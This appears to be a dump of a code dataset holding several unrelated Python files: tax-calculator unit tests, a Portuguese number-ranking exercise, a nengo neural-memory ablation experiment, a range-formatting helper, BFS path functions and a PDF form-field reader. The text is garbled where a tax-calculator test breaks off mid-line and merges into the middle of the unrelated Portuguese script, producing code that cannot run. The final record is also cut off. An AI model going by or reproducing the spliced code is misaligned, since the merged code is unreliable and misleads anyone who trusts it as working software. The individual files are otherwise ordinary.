setattr(calc2.records, 'expanded_income_baseline',\n getattr(calc2.records, 'expanded_income'))\n dist = create_distribution_table(calc2.records,\n groupby='webapp_income_bins',\n income_measure='expanded_income_baseline',\n result_type='weighted_sum')\n assert isinstance(dist, pd.DataFrame)\n\n with pytest.raises(ValueError):\n create_distribution_table(calc2.records,\n groupby='small_income_bins',\n income_measure='expanded_income',\n result_type='bad_result_type')\n\n with pytest.raises(ValueError):\n create_distribution_table(calc2.records,\n groupby='bad_bins',\n income_measure='expanded_income',\n result_type='weighted_sum')\n\n\ndef test_diff_count_precision():\n \"\"\"\n Estimate bootstrap standard error and confidence interval for count\n statistics ('tax_cut' and 'tax_inc') in difference table generated\n using puf.csv input data taking no account of tbi privacy fuzzing and\n assuming all filing units in each bin have the same weight. These\n assumptions imply that the estimates produced here are likely to\n over-estimate the precision of the count statistics.\n\n Background information on unweighted number of filing units by bin:\n\n DECILE BINS:\n 0 16268\n 1 14897\n 2 13620\n 3 15760\n 4 16426\n 5 18070\n 6 18348\n 7 19352\n 8 21051\n 9 61733 <--- largest unweighted bin count\n A 215525\n\n WEBAPP BINS:\n 0 7081 <--- negative income bin is dropped in TaxBrain display\n 1 19355\n 2 22722\n 3 20098\n 4 17088\n 5 14515\n 6 24760\n 7 15875\n 8 25225\n 9 15123\n 10 10570 <--- smallest unweighted bin count\n 11 23113 <--- second largest unweighted WEBAPP bin count\n A 215525\n\n Background information on Trump2017.json reform used in TaxBrain run 16649:\n\n WEBAPP bin 10 ($500-1000 thousand) has weighted count of 1179 thousand;\n weighted count of units with tax increase is 32 thousand.\n\n So, the mean weight for all units in WEBAPP bin 10 is 111.5421 and the\n unweighted number with a tax increase is 287 assuming all units in that\n bin have the same weight. (Note that 287 * 111.5421 is about 32,012.58,\n which rounds to the 32 thousand shown in the TaxBrain difference table.)\n\n WEBAPP bin 11 ($1000+ thousand) has weighted count of 636 thousand;\n weighted count of units with tax increase is 27 thousand.\n\n So, the mean weight for all units in WEBAPP bin 11 is about 27.517 and the\n unweighted number with a tax increase is 981 assuming all units in that\n bin have the same weight. (Note that 981 * 27.517 is about 26,994.18,\n which rounds to the 27 thousand shown in the TaxBrain difference table.)\n \"\"\"\n dump = False # setting to True implies results printed and test fails\n seed = 123456789\n bs_samples = 1000\n alpha = 0.025 # implies 95% confidence interval\n # compute stderr and confidence interval for WEBAPP bin 10 increase count\n data_list = [111.5421] * 287 + [0.0] * (10570 - 287)\n assert len(data_list) == 10570\n data = np.array(data_list)\n assert (data > 0).sum() == 287\n data_estimate = np.sum(data) * 1e-3\n assert abs((data_estimate / 32) - 1) < 0.0005\n bsd = bootstrap_se_ci(data, seed, bs_samples, np.sum, alpha)\n stderr = bsd['se'] * 1e-3\n cilo = bsd['cilo'] * 1e-3\n cihi = bsd['cihi'] * 1e-3\n if dump:\n res = '{}EST={:.1f} B={} alpha={:.3f} se={:.2f} ci=[ {:.2f} , {:.2f} ]'\n print(\n res.format('WEBAPP-BIN10: ',\n data_estimate, bs_samples, alpha, stderr, cilo, cihi)\n )\n assert abs((stderr / 1.90) - 1) < 0.0008\n # NOTE: a se of 1.90 thousand implies that when comparing the difference\n # in the weighted number of filing units in WEBAPP bin 10 with a\n # tax increase, the difference statistic has a bigger se (because\n # the variance of the difference is the sum of the variances of the\n # two point estimates). So, in WEBAPP bin 10 if the point estimates\n # both had se = 1.90, then the difference in the point estimates has\n # has a se = 2.687. This means that the difference would have to be\n # over 5 thousand in order for there to be high confidence that the\n # difference was different from zero in a statistically significant\n # manner.\n # Or put a different way, a difference of 1 thousand cannot be\n # accurately detected while a difference of 10 thousand can be\n # accurately detected.\n assert abs((cilo / 28.33) - 1) < 0.0012\n assert abs((cihi / 35.81) - 1) < 0.0012\n # compute stderr and confidence interval for WEBAPP bin 11 increase count\n data_list = [27.517] * 981 + [0.0] * (23113 - 981)\n assert len(data_list) == 23113\n data = np.array(data_list)\n assert (data > 0).sum() == 981\n data_estimate = np.sum(data) * 1e-3\n assert abs((data_estimate / 27) - 1) < 0.0005\n bsd = bootstrap_se_ci(data, seed, bs_samples, np.sum, alpha)\n stderr = bsd['se'] * 1e-3\n cilo = bsd['cilo'] * 1e-3\n cihi = bsd['cihi'] * 1e-3\n if dump:\n res = '{}EST={:.1f} B={} alpha={:.3f} se={:.2f} ci=[ {:.2f} , {:.2f} ]'\n print(\n res.format('WEBAPP-BIN11: ',\n data_estimate, bs_samples, alpha, stderr, cilo, cihi)\n )\n assert abs((stderr / 0.85) - 1) < 0.0040\n # NOTE: a se of 0.85 thousand implies that when comparing the difference\n # in the weighted number of filing units in WEBAPP bin 11 with a\n # tax increase, the difference statistic has a bigger se (because\n # the variance of the difference is the sum of the variances of the\n # two point estimates). So, in WEBAPP bin 11 if the point estimates\n # both had se = 0.85, then the difference in the point estimates has\n # has a se = 1.20. This means that the difference would have to be\n # over 2.5 thousand in order for there to be high confidence that the\n # difference was different from zero in a statistically significant\n # manner.\n # Or put a different way, a difference of 1 thousand cannot be\n # accurately detected while a difference of 10 thousand can be\n # accurately detected.\n assert abs((cilo / 25.37) - 1) < 0.0012\n assert abs((cihi / 28.65) - 1) < 0.0012\n # fail if doing dump\n assert not dump\n\n\ndef test_weighted_count_lt_zero():\n df1 = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grped = df1.groupby('label')\n diffs = grped.apply(weighted_count_lt_zero, 'tax_diff')\n exp = pd.Series(data=[4, 0], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n df2 = pd.DataFrame(data=DATA_FLOAT, columns=['tax_diff', 's006', 'label'])\n grped = df2.groupby('label')\n diffs = grped.apply(weighted_count_lt_zero, 'tax_diff')\n exp = pd.Series(data=[4, 0], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\ndef test_weighted_count_gt_zero():\n df1 = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grped = df1.groupby('label')\n diffs = grped.apply(weighted_count_gt_zero, 'tax_diff')\n exp = pd.Series(data=[8, 10], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n df2 = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grped = df2.groupby('label')\n diffs = grped.apply(weighted_count_gt_zero, 'tax_diff')\n exp = pd.Series(data=[8, 10], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\ndef test_weighted_count():\n dfx = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grouped = dfx.groupby('label')\n diffs = grouped.apply(weighted_count)\n exp = pd.Series(data=[12, 10], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\ndef test_weighted_mean():\n dfx = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grouped = dfx.groupby('label')\n diffs = grouped.apply(weighted_mean, 'tax_diff')\n exp = pd.Series(data=[16.0 / 12.0, 26.0 / 10.0], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\ndef test_wage_weighted():\n dfx = pd.DataFrame(data=WEIGHT_DATA, columns=['var', 's006', 'e00200'])\n wvar = wage_weighted(dfx, 'var')\n assert round(wvar, 4) == 2.5714\n\n\ndef test_agi_weighted():\n dfx = pd.DataFrame(data=WEIGHT_DATA, columns=['var', 's006', 'c00100'])\n wvar = agi_weighted(dfx, 'var')\n assert round(wvar, 4) == 2.5714\n\n\ndef test_expanded_income_weighted():\n dfx = pd.DataFrame(data=WEIGHT_DATA,\n columns=['var', 's006', 'expanded_income'])\n wvar = expanded_income_weighted(dfx, 'var')\n assert round(wvar, 4) == 2.5714\n\n\ndef test_weighted_sum():\n dfx = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grouped = dfx.groupby('label')\n diffs = grouped.apply(weighted_sum, 'tax_diff')\n exp = pd.Series(data=[16.0, 26.0], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\ndef test_weighted_perc_inc():\n dfx = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grouped = dfx.groupby('label')\n diffs = grouped.apply(weighted_perc_inc, 'tax_diff')\n exp = pd.Series(data=[8. / 12., 1.0], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\ndef test_weighted_perc_cut():\n dfx = pd.DataFrame(data=DATA, columns=['tax_diff', 's006', 'label'])\n grouped = dfx.groupby('label')\n diffs = grouped.apply(weighted_perc_cut, 'tax_diff')\n exp = pd.Series(data=[4. / 12., 0.0], index=['a', 'b'])\n exp.index.name = 'label'\n pd.util.testing.assert_series_equal(exp, diffs)\n\n\nEPSILON = 1e-5\n\n\ndef test_add_income_bins():\n dta = np.arange(1, 1e6, 5000)\n dfx = pd.DataFrame(data=dta, columns=['expanded_income'])\n bins = [-9e99, 0, 9999, 19999, 29999, 39999, 49999, 74999, 99999,\n 200000, 9e99]\n dfr = add_income_bins(dfx, 'expanded_income', bin_type='tpc', bins=None,\n right=True)\n groupedr = dfr.groupby('bins')\n idx = 1\n for name, _ in groupedr:\n assert name.closed == 'right'\n assert abs(name.right - bins[idx]) < EPSILON\n idx += 1\n dfl = add_income_bins(dfx, 'expanded_income', bin_type='tpc', bins=None,\n right=False)\n groupedl = dfl.groupby('bins')\n idx = 1\n for name, _ in groupedl:\n assert name.closed == 'left'\n assert abs(name.right - bins[idx]) < EPSILON\n idx += 1\n\n\ndef test_add_income_bins_soi():\n dta = np.arange(1, 1e6, 5000)\n dfx = pd.DataFrame(data=dta, columns=['expanded_income'])\n bins = [-9e99, 0, 4999, 9999, 14999, 19999, 24999, 29999, 39999,\n 49999, 74999, 99999, 199999, 499999, 999999, 1499999,\n 1999999, 4999999, 9999999, 9e99]\n dfr = add_income_bins(dfx, 'expanded_income', bin_type='soi', right=True)\n groupedr = dfr.groupby('bins')\n idx = 1\n for name, _ in groupedr:\n assert name.closed == 'right'\n assert abs(name.right - bins[idx]) < EPSILON\n idx += 1\n dfl = add_income_bins(dfx, 'expanded_income', bin_type='soi', right=False)\n groupedl = dfl.groupby('bins')\n idx = 1\n for name, _ in groupedl:\n assert name.closed == 'left'\n assert abs(name.right - bins[idx]) < EPSILON\n idx += 1\n\n\ndef test_add_exp_income_bins():\n dta = np.arange(1, 1e6, 5000)\n dfx = pd.DataFrame(data=dta, columns=['expanded_income'])\n bins = [-9e99, 0, 4999, 9999, 14999, 19999, 29999, 32999, 43999, 9e99]\n dfr = add_income_bins(dfx, 'expanded_income', bins=bins, right=True)\n groupedr = dfr.groupby('bins')\n idx = 1\n for name, _ in groupedr:\n assert name.closed == 'right'\n assert abs(name.right - bins[idx]) < EPSILON\n idx += 1\n dfl = add_income_bins(dfx, 'expanded_income', bins=bins, right=False)\n groupedl = dfl.groupby('bins')\n idx = 1\n for name, _ in groupedl:\n assert name.closed == 'left'\n assert abs(name.right - bins[idx]) < EPSILON\n idx += 1\n\n\ndef test_add_income_bins_raises():\n dta = np.arange(1, 1e6, 5000)\n dfx = pd.DataFrame(data=dta, columns=['expanded_income'])\n with pytest.raises(ValueError):\n dfx = add_income_bins(dfx, 'expanded_income', bin_type='stuff')\n\n\ndef test_add_quantile_bins():\n dfx = pd.DataFrame(data=DATA, columns=['expanded_income', 's006', 'label'])\n dfb = add_quantile_bins(dfx, 'expanded_income', 100,\n weight_by_income_measure=False)\n bin_labels = dfb['bins'].unique()\n default_labels = set(range(1, 101))\n for lab in bin_labels:\n assert lab in default_labels\n # custom labels\n dfb = add_quantile_bins(dfx, 'expanded_income', 100,\n weight_by_income_measure=True)\n assert 'bins' in dfb\n custom_labels = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']\n dfb = add_quantile_bins(dfx, 'expanded_income', 10,\n labels=custom_labels)\n assert 'bins' in dfb\n bin_labels = dfb['bins'].unique()\n for lab in bin_labels:\n assert lab in custom_labels\n\n\ndef test_dist_table_sum_row(cps_subsample):\n rec = Records.cps_constructor(data=cps_subsample)\n calc = Calculator(policy=Policy(), records=rec)\n calc.calc_all()\n tb1 = create_distribution_table(calc.records,\n groupby='small_income_bins',\n income_measure='expanded_income',\n result_type='weighted_sum')\n tb2 = create_distribution_table(calc.records,\n groupby='large_income_bins',\n income_measure='expanded_income',\n result_type='weighted_sum')\n assert np.allclose(tb1[-1:], tb2[-1:])\n tb3 = create_distribution_table(calc.records,\n groupby='small_income_bins',\n income_measure='expanded_income',\n result_type='weighted_avg')\n assert isinstance(tb3, pd.DataFrame)\n\n\ndef test_diff_table_sum_row(cps_subsample):\n rec = Records.cps_constructor(data=cps_subsample)\n # create a current-law Policy object and Calculator calc1\n pol = Policy()\n calc1 = Calculator(policy=pol, records=rec)\n calc1.calc_all()\n # create a policy-reform Policy object and Calculator calc2\n reform = {2013: {'_II_rt4': [0.56]}}\n pol.implement_reform(reform)\n calc2 = Calculator(policy=pol, records=rec)\n calc2.calc_all()\n # create two difference tables and compare their content\n tdiff1 = create_difference_table(calc1.records, calc2.records,\n groupby='small_income_bins',\n income_measure='expanded_income',\n tax_to_diff='iitax')\n tdiff2 = create_difference_table(calc1.records, calc2.records,\n groupby='large_income_bins',\n income_measure='expanded_income',\n tax_to_diff='iitax')\n non_digit_cols = ['mean', 'perc_inc', 'perc_cut', 'share_of_change',\n 'perc_aftertax', 'pc_aftertaxinc']\n digit_cols = [c for c in list(tdiff1) if c not in non_digit_cols]\n assert np.allclose(tdiff1[digit_cols][-1:],\n tdiff2[digit_cols][-1:])\n np.testing.assert_array_equal(tdiff1[non_digit_cols][-1:],\n tdiff2[non_digit_cols][-1:])\n\n\ndef test_mtr_graph_data(cps_subsample):\n calc = Calculator(policy=Policy(),\n records=Records.cps_constructor(data=cps_subsample))\n with pytest.raises(ValueError):\n mtr_graph_data(calc, calc, mars='bad',\n income_measure='agi',\n dollar_weighting=True)\n with pytest.raises(ValueError):\n mtr_graph_data(calc, calc, mars=0,\n income_measure='expanded_income',\n dollar_weighting=True)\n with pytest.raises(ValueError):\n mtr_graph_data(calc, calc, mars=list())\n with pytest.raises(ValueError):\n mtr_graph_data(calc, calc, mars='ALL', mtr_variable='e00200s')\n with pytest.raises(ValueError):\n mtr_graph_data(calc, calc, mtr_measure='badtax')\n with pytest.raises(ValueError):\n mtr_graph_data(calc, calc, income_measure='badincome')\n gdata = mtr_graph_data(calc, calc, mars=1,\n mtr_wrt_full_compen=True,\n income_measure='wages',\n dollar_weighting=True)\n assert isinstance(gdata, dict)\n\n\ndef test_atr_graph_data(cps_subsample):\n pol = Policy()\n rec = Records.cps_constructor(data=cps_subsample)\n calc = Calculator(policy=pol, records=rec)\n with pytest.raises(ValueError):\n atr_graph_data(calc, calc, mars='bad')\n with pytest.raises(ValueError):\n atr_graph_data(calc, calc, mars=0)\n with pytest.raises(ValueError):\n atr_graph_data(calc, calc, mars=list())\n with pytest.raises(ValueError):\n atr_graph_data(calc, calc, atr_measure='badtax')\n gdata = atr_graph_data(calc, calc, mars=1, atr_measure='combined')\n gdata = atr_graph_data(calc, calc, atr_measure='itax')\n gdata = atr_graph_data(calc, calc, atr_measure='ptax')\n assert isinstance(gdata, dict)\n with pytest.raises(ValueError):\n calcx = Calculator(policy=pol, records=rec)\n calcx.advance_to_year(2020)\n atr_graph_data(calcx, calc)\n\n\ndef test_xtr_graph_plot(cps_subsample):\n calc = Calculator(policy=Policy(),\n records=Records.cps_constructor(data=cps_subsample),\n behavior=Behavior())\n gdata = mtr_graph_data(calc, calc, mtr_measure='ptax',\n income_measure='agi',\n dollar_weighting=False)\n gplot = xtr_graph_plot(gdata)\n assert gplot\n gdata = mtr_graph_data(calc, calc, mtr_measure='itax',\n alt_e00200p_text='Taxpayer Earnings',\n income_measure='expanded_income',\n dollar_weighting=False)\n assert isinstance(gdata, dict)\n\n\ndef temporary_filename(suffix=''):\n # Return string containing the temporary filename.\n return 'tmp{}{}'.format(random.randint(10000000, 99999999), suffix)\n\n\ndef test_write_graph_file(cps_subsample):\n calc = Calculator(policy=Policy(),\n records=Records.cps_constructor(data=cps_subsample))\n gdata = mtr_graph_data(calc, calc, mtr_measure='ptax',\n alt_e00200p_text='Taxpayer Earnings',\n income_measure='agi',\n dollar_weighting=False)\n gplot = xtr_graph_plot(gdata)\n assert gplot\n htmlfname = temporary_filename(suffix='.html')\n try:\n write_graph_file(gplot, htmlfname, 'title')\n except: # pylint: disable=bare-except\n if os.path.isfile(htmlfname):\n try:\n os.remove(htmlfname)\n except OSError:\n pass # sometimes we can't remove a generated temporary file\n assert 'write_graph_file()_ok' == 'no'\n # if try was successful, try to remove the file\n if os.path.isfile(htmlfname):\n try:\n os.remove(htmlfname)\n except OSError:\n pass # sometimes we can't remove a generated temporary file\n\n\ndef test_multiyear_diagnostic_table(cps_subsample):\n rec = Records.cps_constructor(data=cps_subsample)\n pol = Policy()\n beh = Behavior()\n calc = Calculator(policy=pol, records=rec, behavior=beh)\n with pytest.raises(ValueError):\n multiyear_diagnostic_table(calc, 0)\n with pytest.raises(ValueError):\n multiyear_diagnostic_table(calc, 20)\n adt = multiyear_diagnostic_table(calc, 3)\n assert isinstance(adt, pd.DataFrame)\n beh.update_behavior({2013: {'_BE_sub': [0.3]}})\n calc = Calculator(policy=pol, records=rec, behavior=beh)\n assert calc.behavior.has_response()\n adt = multiyear_diagnostic_table(calc, 3)\n assert isinstance(adt, pd.DataFrame)\n\n\ndef test_myr_diag_table_wo_behv(cps_subsample):\n reform = {\n 2013: {\n '_II_rt7': [0.33],\n '_PT_rt7': [0.33],\n }}\n pol = Policy()\n pol.implement_reform(reform)\n calc = Calculator(policy=pol,\n records=Records.cps_constructor(data=cps_subsample))\n calc.calc_all()\n liabilities_x = (calc.records.combined *\n calc.records.s006).sum()\n adt = multiyear_diagnostic_table(calc, 1)\n # extract combined liabilities as a float and\n # adopt units of the raw calculator data in liabilities_x\n liabilities_y = adt.iloc[19].tolist()[0] * 1e9\n assert np.allclose(liabilities_x, liabilities_y, atol=0.01, rtol=0.0)\n\n\ndef test_myr_diag_table_w_behv(cps_subsample):\n pol = Policy()\n rec = Records.cps_constructor(data=cps_subsample)\n year = rec.current_year\n beh = Behavior()\n calc = Calculator(policy=pol, records=rec, behavior=beh)\n assert calc.current_year == year\n reform = {year: {'_II_rt7': [0.33], '_PT_rt7': [0.33]}}\n pol.implement_reform(reform)\n reform_behav = {year: {'_BE_sub': [0.4], '_BE_cg': [-3.67]}}\n beh.update_behavior(reform_behav)\n calc_clp = calc.current_law_version()\n calc_beh = Behavior.response(calc_clp, calc)\n calc_beh.calc_all()\n liabilities_x = (calc_beh.records.combined *\n calc_beh.records.s006).sum()\n adt = multiyear_diagnostic_table(calc_beh, 1)\n # extract combined liabilities as a float and\n # adopt units of the raw calculator data in liabilities_x\n liabilities_y = adt.iloc[19].tolist()[0] * 1e9\n assert np.allclose(liabilities_x, liabilities_y, atol=0.01, rtol=0.0)\n\n\ndef test_ce_aftertax_income(cps_subsample):\n # test certainty_equivalent() function with con>cmin\n con = 5000\n cmin = 1000\n assert con == round(certainty_equivalent(con, 0, cmin), 6)\n assert con > round(certainty_equivalent((math.log(con) - 0.1), 1, cmin), 6)\n # test certainty_equivalent() function with con 1 and not(total[i] in total[:i]):\n quantidadeDeVezesNum.append(total.count(total[i]))\n numerosMaisAparecem.append(total[i])\n\n#Para não dar error no próximo passo\ncopiaQuantidadeDeVezesNum = quantidadeDeVezesNum.copy()\ncopiaQuantidadeDeVezesNum.sort()\n\n#Determina para qual index cada número que aparece mais de uma vez deve ir, para fazer o ranking \nfor i in range(len(numerosMaisAparecem)):\n indexNovo.append(copiaQuantidadeDeVezesNum.index(quantidadeDeVezesNum[i]))\n\n\n#Bota cada número no determinado index novo, para fazer o ranking\nfor i in range(len(numerosMaisAparecem)):\n rankNovo.insert(indexNovo[i], numerosMaisAparecem[i])\n\n\n#Para fazer o ranking do maior para o menor\nrankNovo.reverse()\ncopiaQuantidadeDeVezesNum.reverse()\n\n\nprint(\"\\n\\n\\n----RESULTADO-----\")\nprint(f\"Soma números pares: {sum(numerosPares)}\")\nprint(f\"Soma números impares: {sum(numerosImpares)}\")\nprint(f\"Maior: {total[-1]}\")\nprint(f\"Menor: {total[0]}\")\n\n\nprint(\"\\n\\n-----RANK NÚMEROS QUE MAIS APARECERAM-----\")\nprint(\"Vezes - Número\")\nfor i in range(len(rankNovo)):\n print(f\" {copiaQuantidadeDeVezesNum[i]} - {rankNovo[i]}\")","sub_path":"Lista 06/QUESTAO4.py","file_name":"QUESTAO4.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"357755658","text":"import string\nimport os\nfrom typing import List\n\nimport nengo\nimport nengolib\nimport nengo_spa as spa\n\nimport numpy as np\nimport pandas as pd\n\nfrom nengo_learn_assoc_mem.learning_rules.rec_bcm import mean_rec_bcm\nfrom nengo_learn_assoc_mem.utils import BasicVecFeed, conf_metric, get_activities\nfrom nengo_learn_assoc_mem.paths import data_path\n\nseed = 8\nD = 8\nn_neurons = 200\nn_items = 10\nintercepts = np.ones(n_neurons) * 0.35\nrng = np.random.RandomState(seed)\n\nvocab = spa.Vocabulary(D, max_similarity=0.35, rng=rng)\nvocab.populate(\";\".join([string.ascii_uppercase[i] for i in range(n_items)]))\n\nt_present = 0.3\n\n\ndef train_mem(vecs: List[np.ndarray], voja_learn_rate=1e-5, pes_learn_rate=1e-3):\n feed = BasicVecFeed(vecs, vecs, t_present, D, len(vecs), 0.)\n\n with nengolib.Network(seed=seed) as train_model:\n in_nd = nengo.Node(feed.feed)\n learning = nengo.Node(lambda t: -feed.paused)\n correct_answer = nengo.Node(feed.get_answer)\n output = nengo.Node(size_in=D)\n\n ens = nengo.Ensemble(n_neurons, D, intercepts=intercepts, neuron_type=nengo.LIF())\n\n in_conn = nengo.Connection(in_nd, ens,\n learning_rule_type=nengo.Voja(voja_learn_rate),\n synapse=None)\n nengo.Connection(learning, in_conn.learning_rule, synapse=None)\n conn_out = nengo.Connection(ens, output,\n learning_rule_type=nengo.PES(pes_learn_rate))\n\n # Error flow node\n pes_learn_control = nengo.Node(\n lambda t, x: x[:-1] if x[-1] >= 0 else x[:-1] * 0,\n size_in=D + 1)\n nengo.Connection(pes_learn_control,\n conn_out.learning_rule)\n\n # Error calculation connections\n nengo.Connection(output, pes_learn_control[:-1],\n synapse=None)\n nengo.Connection(correct_answer, pes_learn_control[:-1],\n transform=-1, synapse=None)\n # Control connection\n nengo.Connection(learning, pes_learn_control[-1],\n synapse=None)\n\n p_in = nengo.Probe(in_nd)\n p_enc = nengo.Probe(ens, 'scaled_encoders', sample_every=0.05)\n p_dec = nengo.Probe(conn_out, 'weights', sample_every=0.1)\n p_out = nengo.Probe(output, synapse=0.01)\n\n with nengo.Simulator(train_model) as train_sim:\n train_sim.run(5 * len(vecs) * t_present)\n\n enc = train_sim.data[p_enc][-1]\n dec = train_sim.data[p_dec][-1]\n\n return enc, dec\n\n\ndef test_mem(enc: np.ndarray, dec: np.ndarray, in_vec: List[np.ndarray],\n noise_mag: float, ablate_idx: np.array, noise_synapse=None,\n rec_w=None, rec_synapse=0.01) -> np.ndarray:\n\n feed = BasicVecFeed(in_vec, in_vec, t_present, D, len(in_vec), 0.)\n\n with nengolib.Network(seed=seed) as test_model:\n vec_nd = nengo.Node(feed.feed)\n in_nd = nengo.Node(size_in=D)\n output = nengo.Node(size_in=D)\n pause = nengo.Node(lambda t: feed.paused)\n\n ens = nengo.Ensemble(n_neurons, D,\n encoders=enc, intercepts=intercepts)\n\n if noise_mag > 0:\n noise_nd = nengo.Node(nengo.processes.WhiteNoise(\n nengo.dists.Gaussian(.0, 0.1)), size_out=D)\n nengo.Connection(noise_nd, in_nd, transform=noise_mag,\n synapse=noise_synapse)\n\n nengo.Connection(vec_nd, in_nd, synapse=None)\n nengo.Connection(in_nd, ens, synapse=None)\n nengo.Connection(pause, ens.neurons, transform=-10 * np.ones((n_neurons, 1)))\n nengo.Connection(ens.neurons, output, transform=dec)\n\n if rec_w is not None:\n ablate_rec_w = rec_w.copy()\n ablate_rec_w[ablate_idx] = 0.\n ablate_rec_w[:, ablate_idx] = 0.\n nengo.Connection(ens.neurons, ens.neurons,\n transform=ablate_rec_w, synapse=rec_synapse)\n\n p_in = nengo.Probe(in_nd, synapse=0.01)\n p_out = nengo.Probe(output, synapse=0.01)\n\n with nengo.Simulator(test_model) as test_sim:\n encoder_sig = test_sim.signals[test_sim.model.sig[ens]['encoders']]\n encoder_sig.setflags(write=True)\n encoder_sig[ablate_idx] = 0.\n encoder_sig.setflags(write=False)\n test_sim.run(t_present)\n\n return test_sim.data[p_out]\n\n\nencoders, decoders = train_mem(list(vocab.vectors))\nactivities = get_activities(vocab.vectors, n_neurons, D, encoders, intercepts, seed)\nrec_weights = mean_rec_bcm(activities)\n\ndf_cols = (\"cor\", \"mag\", \"rn_dist\", \"noise_mag\", \"dead_num\", \"rec_w\", \"rec_syn\", \"letter\")\nall_res = []\n\ntest_cases = {\n \"base\": (None, 0.),\n \"mid\": (rec_weights, 0.01),\n}\n\nnoise_mags = (0.0, 0.05, 0.1,)\nablate_nums = (5, 10, 20, 50, 100)\n\n\nfor nm, (rec_weights, rec_syn) in test_cases.items():\n\n print(nm)\n\n if rec_weights is None:\n save_weights = False\n else:\n save_weights = True\n\n for repeats in range(10):\n for l_i in range(n_items):\n letter = string.ascii_uppercase[l_i]\n test_vec = [vocab[letter].v * 0.8]\n\n for noise_magnitude in noise_mags:\n for ablate_num in ablate_nums:\n ablate_index = rng.choice(np.arange(n_neurons),\n replace=False, size=ablate_num)\n res = test_mem(encoders, decoders, test_vec,\n noise_magnitude, ablate_index,\n rec_w=rec_weights, rec_synapse=rec_syn)\n conf = conf_metric(spa.similarity(res, vocab), l_i)\n\n all_res.append((conf[\"correct\"],\n conf[\"top_mag\"],\n conf[\"runnerup_dist\"],\n noise_magnitude,\n ablate_num,\n save_weights,\n rec_syn,\n letter))\n\nall_df = pd.DataFrame(all_res, columns=df_cols)\nall_df.to_hdf(\n os.path.join(data_path, \"neg_voja_rec_test\", \"norm_ablate.h5\"),\n \"conf\", mode=\"w\")\n","sub_path":"experiments/run_ablate.py","file_name":"run_ablate.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"506557045","text":"import itertools\n\n\ndef get_ranges(collection):\n \"\"\"\n >>> get_ranges([0, 1, 2, 3, 4, 7, 8, 10])\n '0-4, 7-8, 10'\n >>> get_ranges([4, 7, 10])\n '4, 7, 10'\n >>> get_ranges([2, 3, 8, 9])\n '2-3, 8-9'\n \"\"\"\n return ', '.join(map\n (lambda l: f'{l[0][1]}-{l[-1][1]}' if len(l) != 1 else f'{l[0][1]}',\n [list(value) for key, value in itertools.groupby(enumerate(collection),\n lambda pair: pair[1] - pair[0])]))\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","sub_path":"Tasks/Novik Sergey/HW_Fizzbuzz_Get_ranges/get_ranges.py","file_name":"get_ranges.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"383929330","text":"from rootedtree import RootedTree\n\ndef bfs(g, startVertex):\n\t#performs a breadth first search and returns the corresponding tree\n\ttree = RootedTree(startVertex)\n\tqueue = [startVertex]\n\tc_el = 0\n\t\n\twhile c_el != len(queue):\n\t\tcurrent = queue[c_el]\n\t\tc_el +=1\n\t\tfor in_v, out in g.iterate_outbound_edges(current):\n\t\t\tif not tree.is_vertex(out):\n\t\t\t\ttree.add_child(out, current)\n\t\t\t\tqueue.append(out)\n\t\t\t\t\n\treturn tree\n\t\ndef getPath(tree, targetVertex):\n\t# returns the path from the root of the tree to targetVertex, if it exists\n\t# if targetVertex does not exist in the tree, we return None\n\tif not tree.is_vertex(targetVertex):\n\t\treturn None\n\tcurrent_vertex = targetVertex\n\tpath = []\n\twhile current_vertex != None:\n\t\tpath.append(current_vertex)\n\t\tcurrent_vertex = tree.get_parent(current_vertex)\n\tpath.reverse()\n\treturn path\n\t\n","sub_path":"Grafuri/www.cs.ubbcluj.ro/~rlupsa/edu/grafe/sem-progs/gr-914/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"200585323","text":"import os\r\nimport sys\r\n\r\nimport PyPDF2\r\nfrom collections import OrderedDict\r\n\r\ndef readfields(obj, t=None, res=None, fo=None):\r\n fa = {'/FT': 'Field Type', \r\n '/Parent': 'Parent', \r\n '/T': 'Field Name', \r\n '/TU': 'Alternate Field Name',\r\n '/TM': 'Mapping Name', \r\n '/Ff': 'Field Flags', \r\n '/V': 'Value', \r\n '/DV': 'Default Value'}\r\n\r\n if res is None:\r\n res = OrderedDict()\r\n items = obj.trailer[\"/Root\"]\r\n if \"/AcroForm\" in items:\r\n t = items[\"/AcroForm\"]\r\n else:\r\n return None\r\n if t is None:\r\n return res\r\n obj._checkKids(t, res, fo)\r\n for attr in fa:\r\n if attr in t:\r\n obj._buildField(t, res, fo, fa)\r\n break\r\n if \"/Fields\" in t:\r\n flds = t[\"/Fields\"]\r\n for f in flds:\r\n fld = f.getObject()\r\n obj._buildField(fld, res, fo, fa)\r\n return res\r\n\r\ndef getfields(infile):\r\n infile = 